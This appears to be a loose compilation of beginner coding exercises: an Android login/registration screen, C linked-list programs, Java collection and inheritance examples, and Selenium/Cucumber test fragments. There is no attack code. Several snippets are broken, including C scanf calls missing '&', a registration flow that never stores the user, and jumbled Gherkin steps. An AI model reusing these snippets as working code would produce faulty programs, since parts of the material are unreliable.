        edconfirm =findViewById(R.id.editTextRegConfirmPassword);
        bt =findViewById(R.id.buttonregister);
        txt =findViewById(R.id.textViewExisting);

        txt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                startActivity(new Intent(RegisterActivity.this,LoginActivity.class));
            }
        });

        bt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                String username = edusername.getText().toString();
                String password = edpassword.getText().toString();
                String confirm = edconfirm.getText().toString();
                String email = edemail.getText().toString();
                database db = new database(getApplicationContext(),"healthcareProject",null,1);

                if(username.length()==0 || password.length()==0 || email.length()==0 | confirm.length()==0){
                    Toast.makeText(getApplicationContext(), "Invalid Input", Toast.LENGTH_SHORT).show();
                }else{
                    if(password.compareTo(confirm)==0){
                        if(isValid(password)){
                            Toast.makeText(getApplicationContext(), "Registered Successfully", Toast.LENGTH_SHORT).show();
                            startActivity(new Intent(RegisterActivity.this,LoginActivity.class));
                        }else{
                            Toast.makeText(getApplicationContext(), "Password must contain at least 8 characters", Toast.LENGTH_SHORT).show();
                        }
                    }else{
                        Toast.makeText(getApplicationContext(), "Password and confirm Password didn't matched", Toast.LENGTH_SHORT).show();
                    }
                }
            }
        });
    }

    private boolean isValid(String Passwordcheck) {
            int f1=0,f2=0,f3=0;
            if(Passwordcheck.length() < 8){
                return false;
            }else{
                for(int i=0;i<Passwordcheck.length();i++){
                    if(Character.isLetter(Passwordcheck.charAt(i))){
                        f1=1;
                    }
                }
                for(int j=0;j<Passwordcheck.length();j++){
                    if(Character.isDigit(Passwordcheck.charAt(j))){
                        f2=1;
                    }
                }
                for(int k=0;k<Passwordcheck.length();k++){
                    char c =Passwordcheck.charAt(k);
                    if(c>= 33 && c<=46 || c==64){
                        f3=1;
                    }
                }
                if(f1==1 && f2==1 && f3==1){
                    return true;
                }
                return false;
            }
    }

}

package com.example.healthcareproject;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class LoginActivity extends AppCompatActivity {


    EditText edusername,edpassword;
    Button bt;
    TextView txt;
    @Override
    protected void onCreate(Bundle savedInstanceState){
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_login);

        edpassword =findViewById(R.id.editTextLoginPassword);
        edusername = findViewById(R.id.editTextLoginUsername);
        bt = findViewById(R.id.buttonLogin);
        txt= findViewById(R.id.textViewNewUser);

        bt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                String username = edusername.getText().toString();
                String password = edpassword.getText().toString();
                database db = new database(getApplicationContext(),"healthcareproject",null,1);

                if(username.length()==0 || password.length()==0){
                    Toast.makeText(getApplicationContext(),"Invalid input",Toast.LENGTH_SHORT).show();
                }else{
                    if(db.login(username,password)==1) {
                        Toast.makeText(getApplicationContext(), "Login successfully", Toast.LENGTH_SHORT).show();
                    }else{
                        Toast.makeText(getApplicationContext(),"Invalid Username and password",Toast.LENGTH_SHORT).show();
                    }
                }
            }
        });

        txt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                startActivity(new Intent());
            }
        });
    }

Write C programing to delete a node with a specific value from linked list.

#include <stdio.h> 
#include <stdlib.h> 
  
struct Node { 
    int data; 
    struct Node* next; 
}; 
  
void push(struct Node** head_ref, int new_data) 
{ 
    struct Node* new_node 
        = (struct Node*)malloc(sizeof(struct Node)); 
    new_node->data = new_data; 
    new_node->next = (*head_ref); 
    (*head_ref) = new_node; 
} 

void deleteNode(struct Node** head_ref, int key) 
{ 
    struct Node *temp = *head_ref, *prev; 
  
    if (temp != NULL && temp->data == key) { 
        *head_ref = temp->next;
        free(temp); 
        return; 
    } 
    
    while (temp != NULL && temp->data != key) { 
        prev = temp; 
        temp = temp->next; 
    } 
  
    if (temp == NULL) 
        return; 
  
    prev->next = temp->next; 
  
    free(temp); 
} 
 
void printList(struct Node* node) 
{ 
    while (node != NULL) { 
        printf(" %d ", node->data); 
        node = node->next; 
    } 
} 

int main() 
{ 
    /* Start with the empty list */
    struct Node* head = NULL; 
  
    push(&head, 7); 
    push(&head, 1); 
    push(&head, 3); 
    push(&head, 2); 
  
    puts("Created Linked List: "); 
    printList(head); 
    deleteNode(&head, 1); 
    puts(" \nLinked List after Deletion of 1: "); 
    printList(head); 
    return 0; 
}

//OUTPUT:

Created Linked List: 
 2  3  1  7  
Linked List after Deletion of 1: 
 2  3  7 

#include <stdio.h>
#include <stdlib.h>

struct node {
    int data;          
    struct node *next; 
}*head;

void createList(int n);
void insertNodeAtBeginning(int data);
void displayList();


int main()
{
    int n, data;

    printf("Enter the total number of nodes: ");
    scanf("%d", &n);
    createList(n);

    printf("\nData in the list \n");
    displayList();
    
    printf("\nEnter data to insert at beginning of the list: ");
    scanf("%d", &data);
    insertNodeAtBeginning(data);

    printf("\nData in the list \n");
    displayList();

    return 0;
}

void createList(int n)
{
    struct node *newNode, *temp;
    int data, i;

    head = (struct node *)malloc(sizeof(struct node));

    if(head == NULL)
    {
        printf("Unable to allocate memory.");
    }
    else
    {
        printf("Enter the data of node 1: ");
        scanf("%d", &data);

        head->data = data; 
        head->next = NULL; 

        temp = head;

        for(i=2; i<=n; i++)
        {
            newNode = (struct node *)malloc(sizeof(struct node));

            if(newNode == NULL)
            {
                printf("Unable to allocate memory.");
                break;
            }
            else
            {
                printf("Enter the data of node %d: ", i);
                scanf("%d", &data); 

                newNode->data = data;
                newNode->next = NULL; 

                temp->next = newNode;
                
                temp = temp->next; 
            }
        }
    }
}

void insertNodeAtBeginning(int data)
{
    struct node *newNode;

    newNode = (struct node*)malloc(sizeof(struct node));

    if(newNode == NULL)
    {
        printf("Unable to allocate memory.");
    }
    else
    {
        newNode->data = data; 
        newNode->next = head;

        head = newNode; 

        printf("DATA INSERTED SUCCESSFULLY\n");
    }
}
void displayList()
{
    struct node *temp;

    
    if(head == NULL)
    {
        printf("List is empty.");
    }
    else
    {
        temp = head;
        while(temp != NULL)
        {
            printf("Data = %d\n", temp->data); 
            temp = temp->next; 
        }
    }
}

//OUTPUT:

Enter the total number of nodes: 4
Enter the data of node 1: 20
Enter the data of node 2: 30
Enter the data of node 3: 40
Enter the data of node 4: 50
Data in the list 
Data = 20
Data = 30
Data = 40
Data = 50

Enter data to insert at beginning of the list: 300
DATA INSERTED SUCCESSFULLY

Data in the list 
Data = 300
Data = 20
Data = 30
Data = 40
Data = 50

//İnsertion at beginning of linklist.

struct Node
{
    int data;
    struct Node* next;
};

struct Node* head;

void insert (int x)
{
    Node* temp = (Node*)malloc(sizeof(struct Node));
    temp -> data = x;
    temp -> next = head;
    head = temp;
}

void print()
{
    struct Node* temp = head;
    printf("List is: ");
    while(temp != NULL)
    {
        printf("%d ", temp -> data);
        temp = temp -> next;
    }
    printf("\n");
}
 
int main() {
    
    head = NULL;
    printf("How many numbers? \n:");
    int n, i, x;
    scanf("%d",n);
    for(i = 0; i < n; i++)
    {
        printf("Enter the number \n");
        scanf("%d", x);
        insert(x);
        print();
    }
    return 0;
}

//CREATİON OF LİNKLİST

#include <stdio.h>
#include <stdlib.h>

typedef struct 
{
    int data;
    struct Node*next;
    
} Node;

int main() {
    
    Node* n1;
    Node* n2;
    Node* n3;
    
    n1 = (Node*)(malloc(sizeof(Node)));
    n2 = (Node*)(malloc(sizeof(Node)));
    n3 = (Node*)(malloc(sizeof(Node)));
    
    
    n1 -> data = 10;
    n2 -> data = 20;
    n3 -> data = 30;
    
    
    n1 -> next = n2;
    n2 -> next = n3;
    n3 -> next = NULL;
    
    
    Node* temp = n1;
    
    while(temp != NULL)
    {
        printf("\nData: %d , next Adress: %d", temp -> data, temp -> next);
        temp = temp -> next;
    }

    return 0;
}

https://www.facebook.com/605744985040880/posts/pfbid02RBpxb4DpuPYrm4GWgG3sNMuM5h4ohSGct1pGRrpWJ8bdMUvMiC9hwmsYZT1k3VdVl

https://www.facebook.com/605744985040880/posts/pfbid02RBpxb4DpuPYrm4GWgG3sNMuM5h4ohSGct1pGRrpWJ8bdMUvMiC9hwmsYZT1k3VdVl

Write a c program to find the second smallest element in an integer array.

#include <stdio.h>
 #include <limits.h>
 
int main() {
    
    int arr[] = {1,1,1,1,1,1};
  //int arr[] = {9,5,2,8,1};
    int size = sizeof(arr) / sizeof(arr[0]);
    int smallest = INT_MAX;
    int secondSmallest = INT_MAX;

    for (int i = 0; i < size; i++) {
        if (arr[i] < smallest) {
            secondSmallest = smallest;
            smallest = arr[i];
        } 
        else if (arr[i] < secondSmallest && arr[i] != smallest) {
            secondSmallest = arr[i];
        }
    }

    if (secondSmallest == INT_MAX) {
        printf("No second smallest element found.\n");
    } 
    else {
        printf("Second smallest element: %d\n", secondSmallest);
    }

    return 0;
}
output: No second smallest element found.
//OutPUT : Second smallest element: 2

Answer 2:

public class Student {
	
	String name;
	int age;
	boolean isJunior;
	char gender;
	
	Student()
	{
		name = "Mohamed";
		age = 23;
		isJunior = false;
		gender = 'm';
	}
	Student(String nme, int n, boolean job, char gen) 
	{
		name = nme;
		age = n;
		isJunior = job;
		gender = gen;
	}
	
	public static void main(String[] args) {
		
		Student s1 = new Student();
		Student s2 = new Student("Ayşe", 15, true, 'f');
		
		System.out.println("Name S1 = " + s1.name);
		System.out.println("Age S1 = " + s1.age);
		System.out.println("isJunior S1 = " + s1.isJunior);
		System.out.println("Gender S1 = " + s1.gender);

		System.out.println("\n\nName S2 = " + s2.name);
		System.out.println("Age S2 = " + s2.age);
		System.out.println("isJunior S2 = " + s2.isJunior);
		System.out.println("Gender S2 = " + s2.gender);
	}
}
//OUTPUT:

Name S1 = Mohamed
Age S1 = 23
isJunior S1 = false
Gender S1 = m


Name S2 = Ayşe
Age S2 = 15
isJunior S2 = true
Gender S2 = f

Question 1. Write a method that combines two given arrays and returns the resulting array back.  Complete your program with a main method.

Answer 1:

public static void main(String[] args) {
		
		
		int[] array1 = {2,4,6,8,10,12};
		int[] array2 = {1,3,5,7,9};
		int[] array3 = {20,30,40,50,60,70,80};
		
		System.out.println("array1 = " + Arrays.toString(array1));
		System.out.println("array2 = " + Arrays.toString(array2));
		System.out.println("array3 = " + Arrays.toString(array3));
		
		int [] array4 = combineArrays(array1, array2, array3);
		
		System.out.println("\nAfter Combination of Three arrays are: ");
		
		System.out.println("\narray4 = " + Arrays.toString(array4));
		
		
		sortSmallToLarge(array4);
		System.out.println();
		System.out.println("\nAfter sorting arrays from Small number to Large number.");
		
		System.out.println(Arrays.toString(array4));
		
		
		sortLargeToSmall(array4);
		System.out.println();
		System.out.println("\nAfter sorting arrays from Large number to Small number.");
		
		System.out.println(Arrays.toString(array4));


	}
	public static int[] combineArrays(int[] array1, int[] array2, int[] array3) {
		int[] array4 = new int[array1.length + array2.length + array3.length];
		for(int i=0; i<array1.length; i++) {
			array4[i] = array1[i];
		}
		for(int i=0; i<array2.length; i++) {
			array4[array1.length + i] = array2[i];
		}
		for(int i=0; i<array3.length; i++) {
			array4[array1.length + array2.length + i] = array3[i];
		}
		return array4;
	}
	
	public static void sortSmallToLarge(int [] array4) {
		for(int i =0; i< array4.length; i++) {
			for(int j=0; j<array4.length-1-i; j++) {
				if(array4[j] > array4 [j+1]) {
					int temp = array4[j];
					array4[j] = array4[j+1];
					array4[j+1] = temp;
				}
			}
		}
	}
	public static void sortLargeToSmall(int [] array4) {
		for(int i =0; i< array4.length; i++) {
			for(int j=0; j<array4.length-1-i; j++) {
				if(array4[j] < array4 [j+1]) {
					int temp = array4[j];
					array4[j] = array4[j+1];
					array4[j+1] = temp;
				}
			}
		}
	}
}
//OUTPUT: 
array1 = [2, 4, 6, 8, 10, 12]
array2 = [1, 3, 5, 7, 9]
array3 = [20, 30, 40, 50, 60, 70, 80]

After Combination of Three arrays are: 

array4 = [2, 4, 6, 8, 10, 12, 1, 3, 5, 7, 9, 20, 30, 40, 50, 60, 70, 80]


After sorting arrays from Small number to Large number.
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 20, 30, 40, 50, 60, 70, 80]


After sorting arrays from Large number to Small number.
[80, 70, 60, 50, 40, 30, 20, 12, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]

public class Main {
    public static void main(String[] args) {
 
        String myFirstString = "Hello Test Pro Student!";
 
    }
}

public class Main {
    public static void main(String[ ] args) {

        int age = 21;

        if (age < 21) {
            throw new ArithmeticException("Sorry - We only sell to customers 21 years old and above!");
        }
        else {
            System.out.println("Order accepted!");
        }
    }
}
// Output: Order accepted!

public class Main {
    public static void main(String[ ] args) {

        int age = 19;

        if (age < 21) {
            throw new ArithmeticException("Sorry - We only sell to customers 21 years old and above!");
        }
        else {
            System.out.println("Order accepted!");
        }
    }
}
// Output: Exception in thread "main" java.lang.ArithmeticException: Sorry - We only sell to customers 21 years old and above!
//	at org.example.Main.main(Main.java:12)

class Main {
  public static void main (String[] args) {

    int c = 4;

    System.out.println (++c);
  }
}
// Output: 5

class Main {
  public static void main (String[] args) {

    int c = 4;

    System.out.println (--c);
  }
}
// Output: 3

class Main {
  public static void main (String[] args) {

    int a = 8;
    int b = 7;

    int result = a%b;

    System.out.println (result);
  }
}
// Output: 1
// Note: Output is 1 since the remainder is 1

class Main {
    public static void main(String[] args) {

       double a = 5;
       double b = 2;
      
       double result = a/b;
      
       System.out.println(result);
    }
}
// Output: 2.5

class Main {
  public static void main (String[] args) {

    int a = 8;
    int b = 7;

    int result = a*b;

    System.out.println (result);
  }
}
// Output: 56

class Main {
  public static void main (String[] args) {

    int a = 8;
    int b = 7;

    int result = a-b;

    System.out.println (result);
  }
}
// Output: 1

class Main {
  public static void main (String[] args) {
 
    int a = 8;
    int b = 7;
 
    int result = a+b;
 
    System.out.println (result);
  }
}
// Output: 15

dependencies {
    testImplementation 'org.testng:testng:7.6.1'
    implementation 'org.seleniumhq.selenium:selenium-java:4.5.0'
    testImplementation 'io.github.bonigarcia:webdrivermanager:5.3.1'
    implementation 'io.cucumber:cucumber-testng:7.9.0'
    implementation 'io.cucumber:cucumber-core:7.9.0'
    implementation 'io.cucumber:cucumber-java:7.9.0'
    implementation 'io.cucumber:gherkin:25.0.2'
}

import io.cucumber.java.en.Given;

public class StepDefinitions {
  
    @Given("I am in the Home Page")
    public void i_am_in_the_home_page() {
        driver.get("sampleHomePage")
    }
}

Scenario: Home Page Navigation

Given I am in the Home page

Feature: Login feature

Scenario: Login with valid credentials
Given I am in the Login Page
And I enter a registered email
And I enter a valid password
When I click the submit button
Then I must be logged in successfully

Then I must be logged in successfully

When I click the submit button

And I enter a registered email
And I enter a valid password

Given I am in the Login Page

<suite name="Test Pro Parallel Testing" parallel="methods" thread-count="5">

C:\Users\TestProUser> java -jar selenium-server-4.7.2.jar standalone

06:09:51.094 INFO [LocalDistributor.add] - Added node de4f0f9b-bf52-46d0-94a4-2dd3167b0e17 at http://192.168.55.100:4444. Health check every 120s
06:09:51.299 INFO [Standalone.execute] - Started Selenium Standalone 4.7.2 (revision 79f1c02ae20): http://192.168.55.100:4444

PageFactory.initElements(new AjaxElementLocatorFactory(driver, 20), this);

 PageFactory.initElements(driver, java.lang.Class.pageObjectClass);

 @FindBy(how = How.CSS, using = "div[class='logo']")
 WebElement koelImgCssHow;

 @FindBy(how = How.XPATH, using = "//div[@class='logo']")
  WebElement koelImgXpathHow;

 @FindBy(css="div[class='logo']")
 WebElement koelImgCss;

 @FindBy(xpath="//div[@class='logo']")
 WebElement koelImgXpath;

Actions a = new Actions(driver);
 
//Right click on element
WebElement button = driver.findElement(By.xpath("locator"));
 
a.contextClick(button).perform();

Actions a = new Actions(driver);

//Double click on element
WebElement button = driver.findElement(By.xpath("locator"));

a.doubleClick(button).perform();

Actions action = new Actions(driver);

//Move over the menu options
WebElement menuOption = driver.findElement(By.xpath("locator"));
action.moveToElement(menuOption).perform();

//Displays the menu list with options, now we can click an option from the menu list
WebElement selectMenuOption = driver.findElement(By.xpath("locator2"));
action.click(selectMenuOption).perform();

@BeforeMethod
@Parameters({"BaseURL"})
public void launchBrowser(String BaseURL) {
  
  ChromeOptions options = new ChromeOptions();
  options.addArguments("--remote-allow-origins=*");

  WebDriver driver = new ChromeDriver(options);
  driver.manage().timeouts().implicitlyWait(Duration.ofSeconds(10));
  url = BaseURL;
  driver.get(url);
}

   @Test
    public void homepageNavigation() {
        ChromeOptions options = new ChromeOptions();
        options.addArguments("--remote-allow-origins=*");

        WebDriver driver = new ChromeDriver(options);
        driver.manage().timeouts().implicitlyWait(Duration.ofSeconds(10));

        String expectedUrl = "https://qa.koel.app/";
        driver.get(expectedUrl);

        Assert.assertEquals(driver.getCurrentUrl(), expectedUrl);

        driver.quit();
    }

import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        // {key:value, key2:value2 ...}

        // France: Paris
        // Italy: Rome
        // Norway: Oslo
        // US: Washington DC

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");
        countryCapitals.remove("Italy");

        HashMap<Integer, String> capitals = new HashMap<>();
        capitals.put(1,"Paris");
        capitals.put(2, "Rome");
        capitals.put(3, "Oslo");
        capitals.put(4, "Washington DC");

        System.out.println(capitals.get(3));
    }
}
// Output: Oslo

import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");

        System.out.println( countryCapitals.values());
    }
}
// Output: [Oslo, Rome, Paris, Washington DC]

import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");

        System.out.println( countryCapitals.keySet());
    }
}
// Output: [Norway, Italy, France, US]

import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");

        System.out.println( countryCapitals.size());
    }
}
// Output: 4

import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        // {key:value, key2:value2 ...}

        // France: Paris
        // Italy: Rome
        // Norway: Oslo
        // US: Washington DC

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");
        countryCapitals.remove("Italy");

        System.out.println(countryCapitals);
    }
}
// Output: {Norway=Oslo, France=Paris, US=Washington DC}

import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");

        System.out.println( countryCapitals.get("Italy"));
    }
}
// Output: Rome

import java.util.HashSet;
import java.util.Set;

public class Main {
    public static void main(String[] args) {

        Set<Integer> set1 = new HashSet<>();
        set1.add(1);
        set1.add(3);
        set1.add(2);
        set1.add(4);
        set1.add(8);
        set1.add(9);
        set1.add(0);

        Set<Integer> set2 = new HashSet<>();
        set2.add(1);
        set2.add(3);
        set2.add(7);
        set2.add(5);
        set2.add(4);
        set2.add(0);
        set2.add(7);
        set2.add(5);

        // difference
        Set<Integer> setDifference = new HashSet<>(set1);
        setDifference.removeAll(set2);
        System.out.println(setDifference);
    }
}
// Output: [2, 8, 9]

import java.util.HashSet;
import java.util.Set;

public class Main {
    public static void main(String[] args) {

        Set<Integer> set1 = new HashSet<>();
        set1.add(1);
        set1.add(3);
        set1.add(2);
        set1.add(4);
        set1.add(8);
        set1.add(9);
        set1.add(0);

        Set<Integer> set2 = new HashSet<>();
        set2.add(1);
        set2.add(3);
        set2.add(7);
        set2.add(5);
        set2.add(4);
        set2.add(0);
        set2.add(7);
        set2.add(5);

        // intersection
        Set<Integer> setIntersection = new HashSet<>(set1);
        setIntersection.retainAll(set2);
        System.out.println(setIntersection);
    }
}
// Output: [0, 1, 3, 4]

import java.util.HashSet;
import java.util.Set;

public class Main {
    public static void main(String[] args) {

        Set<Integer> set1 = new HashSet<>();
        set1.add(1);
        set1.add(3);
        set1.add(2);
        set1.add(4);
        set1.add(8);
        set1.add(9);
        set1.add(0);

        Set<Integer> set2 = new HashSet<>();
        set2.add(1);
        set2.add(3);
        set2.add(7);
        set2.add(5);
        set2.add(4);
        set2.add(0);
        set2.add(7);
        set2.add(5);

        // Union
        Set<Integer> set3 = new HashSet<>(set1);
        set3.addAll(set2);
        System.out.println(set3);
    }
}
// Output: [0, 1, 2, 3, 4, 5, 7, 8, 9]

import java.util.Set;
import java.util.TreeSet;

public class Main {
    public static void main(String[] args) {

        Set<String> uniqueKoelPages = new TreeSet<>();

        uniqueKoelPages.add("LoginPage");
        uniqueKoelPages.add("HomePage");
        uniqueKoelPages.add("HomePage");
        uniqueKoelPages.add("ProfilePage");
        uniqueKoelPages.add("AProfilePage");

        System.out.println(uniqueKoelPages);
    }
}
// Output: [AProfilePage, HomePage, LoginPage, ProfilePage]

import java.util.HashSet;
import java.util.Set;

public class Main {
    public static void main(String[] args) {

        Set<String> uniqueKoelPages = new HashSet<>();

        uniqueKoelPages.add("LoginPage");
        uniqueKoelPages.add("HomePage");
        uniqueKoelPages.add("HomePage");
        uniqueKoelPages.add("ProfilePage");
        uniqueKoelPages.add("AProfilePage");

        System.out.println(uniqueKoelPages);
    }
}
// Output: [HomePage, ProfilePage, AProfilePage, LoginPage]

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("LoginPage");
        koelPages.set(0, "RegistrationPage");
        koelPages.add("HomePage");
        koelPages.add("ProfilePage");
        koelPages.add("APage");
        koelPages.add("ZPage");
        Collections.sort(koelPages);
        Collections.reverse(koelPages);

        for (String i : koelPages) {
            System.out.println(i);
        }
    }
}
/* Output:
ZPage
RegistrationPage
ProfilePage
HomePage
APage
*/

List <String> koelPages = new ArrayList<>();

for(String i: koelPages)

import java.util.ArrayList;
import java.util.List;
import java.util.Collections;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("LoginPage");
        koelPages.add("HomePage");
        koelPages.add("ProfilePage");
        koelPages.add("APage");
        koelPages.add("ZPage");

        Collections.sort(koelPages);
        Collections.reverse(koelPages);
        System.out.println(koelPages);
    }
}
// Output: [ZPage, ProfilePage, LoginPage, HomePage, APage]

import java.util.ArrayList;
import java.util.List;
import java.util.Collections;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("LoginPage");
        koelPages.add("HomePage");
        koelPages.add("ProfilePage");
        koelPages.add("APage");
        koelPages.add("ZPage");

        Collections.sort(koelPages);
        System.out.println(koelPages);
    }
}
// Output: [APage, HomePage, LoginPage, ProfilePage, ZPage]

import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");

        System.out.println(koelPages.size());
    }
}
// Output: 3

import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");
        koelPages.remove(0);

        System.out.println(koelPages);
    }
}
// Output: [LoginPage, HomePage]

import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");
        koelPages.set(0,"ProfilePage");

        System.out.println(koelPages);
    }
}
// Output: [ProfilePage, LoginPage, HomePage]

import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");

        System.out.println(koelPages.get(0));
    }
}
// Output: RegistrationPage

import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");

        System.out.println(koelPages);
    }
}
// Output: [RegistrationPage, LoginPage, HomePage]

import java.util.Arrays;

class Main {
    public static void main(String[] args) {

        int [] arr1 = {54, 44, 39, 10, 12, 101};

        Arrays.sort (arr1);

        System.out.println (Arrays.toString(arr1));
    }
}
// Output: [10, 12, 39, 44, 54, 101]

class Main {
    public static void main(String[] args) {

        int[] arr1 = {54, 44, 39, 10, 12, 101};
        for (int i=0; i<arr1.length; i++) {
            if (arr1[i] == 44) {
                System.out.println ("Array has a value of 44 at index " + i);
            }
        }
    }
}
// Output: Array has a value of 44 at index 1

import java.util.Arrays;

class Main {
    public static void main(String[] args) {

        int [] arr1 = new int[10];

        for (int i = 0; i < 10; i++) {

            arr1 [i] = i;
        }
        System.out.println(Arrays.toString(arr1));
    }
}
// Output: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

class Main {
    public static void main(String[] args) {

        int[] arr2 = new int[10];

        arr2[0] = 1;

        System.out.println(arr2[0]);

    }
}
// Output: 1

class Main {
    public static void main(String[] args) {

        int [] arr1 = {1,2,3,4,5,6,7,8,9,10};

        arr1[1] = 22;

        System.out.println (arr1[1]);
    }
}
// Output: 22

class Main {
    public static void main(String[] args) {

        int [] arr1 = {1,2,3,4,5,6,7,8,9,10};

        System.out.println (arr1[3]);
    }
}
// Output: 4

public class Wrangler extends Car {
 
    boolean carDoors = true;
 
    public void takeOffDoors() {
        carDoors = false;
        System.out.println("Doors are taken off");
    }
 
    public void putBackDoors() {
        carDoors = true;
        System.out.println("Doors are back");
 
    }
    public String returnCarModel() {
        return "Car model is Wrangler";
    }
}

public class ModelX extends Car {

    boolean autoPilot = false;

    public void switchAutopilotOn() {
        autoPilot = true;
        System.out.println("Autopilot is switched on");
    }

    public void switchAutopilotOff() {
        autoPilot = false;
        System.out.println("Autopilot is switched off");
    }

    public String returnCarModel() {
        return "Car model is ModelX";
    }
}

public class Car {
 
    private int odometer = 0;
    private int productionYear = 0;
 
    public void setProductionYear(int year){
        productionYear = year;
    }
    
    public int getProductionYear (){
        return  productionYear;
    }
 
    public void drive( int miles) {
        System.out.println("Car drove " + miles + " miles");
        odometer = odometer + miles;
    }
 
    public String returnCarModel() {
        return "Car model is unknown";
    }
}

public class Main {
    public static void main(String[] args) {
 
        Wrangler myWranglerCar = new Wrangler();
        myWranglerCar.drive( 100);
        myWranglerCar.takeOffDoors();
        System.out.println(myWranglerCar.returnCarModel());
        myWranglerCar.setProductionYear(2022);
        System.out.println(myWranglerCar.getProductionYear());
 
        ModelX myModelXCar = new ModelX();
        myModelXCar.drive( 90);
        myModelXCar.switchAutopilotOn();
        System.out.println(myModelXCar.returnCarModel());
        myModelXCar.setProductionYear(2021);
        System.out.println(myModelXCar.getProductionYear());
 
        Car myCar = new Car();
        myCar.drive(50);
        System.out.println(myCar.returnCarModel());
    }
}
/* Output:
Car drove 100 miles
Doors are taken off
Car model is Wrangler
2022
Car drove 90 miles
Autopilot is switched on
Car model is ModelX
2021
Car drove 50 miles
Car model is unknown
*/

public class Wrangler extends Car {

    boolean carDoors = true;

    public void takeOffDoors() {
        carDoors = false;
        System.out.println("Doors are taken off");
    }

    public void putBackDoors() {
        carDoors = true;
        System.out.println("Doors are back");

    }

    public String returnCarModel() {
        return "Car model is Wrangler";
    }
}

public class Main {
    public static void main(String[] args) {

        Wrangler myWranglerCar = new Wrangler();
        myWranglerCar.drive( 100);
        System.out.println("Wrangler odometer displays " +myWranglerCar.odometer+ " miles");
        myWranglerCar.takeOffDoors();
        System.out.println(myWranglerCar.returnCarModel());

        ModelX myModelXCar = new ModelX();
        myModelXCar.drive( 90);
        System.out.println("ModelX odometer displays " +myModelXCar.odometer+ " miles");
        myModelXCar.switchAutopilotOn();
        System.out.println(myModelXCar.returnCarModel());

        Car myCar = new Car();
        myCar.drive(50);
        System.out.println(myCar.returnCarModel());
    }
}
/* Output:
Car drove 100 miles
Wrangler odometer displays 100 miles
Doors are taken off
Car model is Wrangler
Car drove 90 miles
ModelX odometer displays 90 miles
Autopilot is switched on
Car model is ModelX
Car drove 50 miles
Car model is unknown
*/

public class ModelX extends Car {

    boolean autoPilot = false;

    public void switchAutopilotOn() {
        autoPilot = true;
        System.out.println("Autopilot is switched on");
    }

    public void switchAutopilotOff() {
        autoPilot = false;
        System.out.println("Autopilot is switched off");
    }

    public String returnCarModel() {
        return "Car model is ModelX";
    }
}

public class Car {

    int odometer = 0;
    
    public void drive( int miles) {
        System.out.println("Car drove " + miles + " miles");
        odometer = odometer + miles;
    }

    public String returnCarModel() {
        return "Car model is unknown";
    }
}

public class Main {
    public static void main(String[] args) {

        Wrangler myWranglerCar = new Wrangler();
        myWranglerCar.drive( 100);
        System.out.println("Wrangler odometer displays " +myWranglerCar.odometer+ " miles");
        myWranglerCar.takeOffDoors();
        ModelX myModelXCar = new ModelX();
        myModelXCar.drive( 90);
        System.out.println("ModelX odometer displays " +myModelXCar.odometer+ " miles");
        myModelXCar.switchAutopilotOn();

        Car myCar = new Car();
        myCar.drive(50);
    }
}
/* Output:
Car drove 100 miles
Wrangler odometer displays 100 miles
Doors are taken off
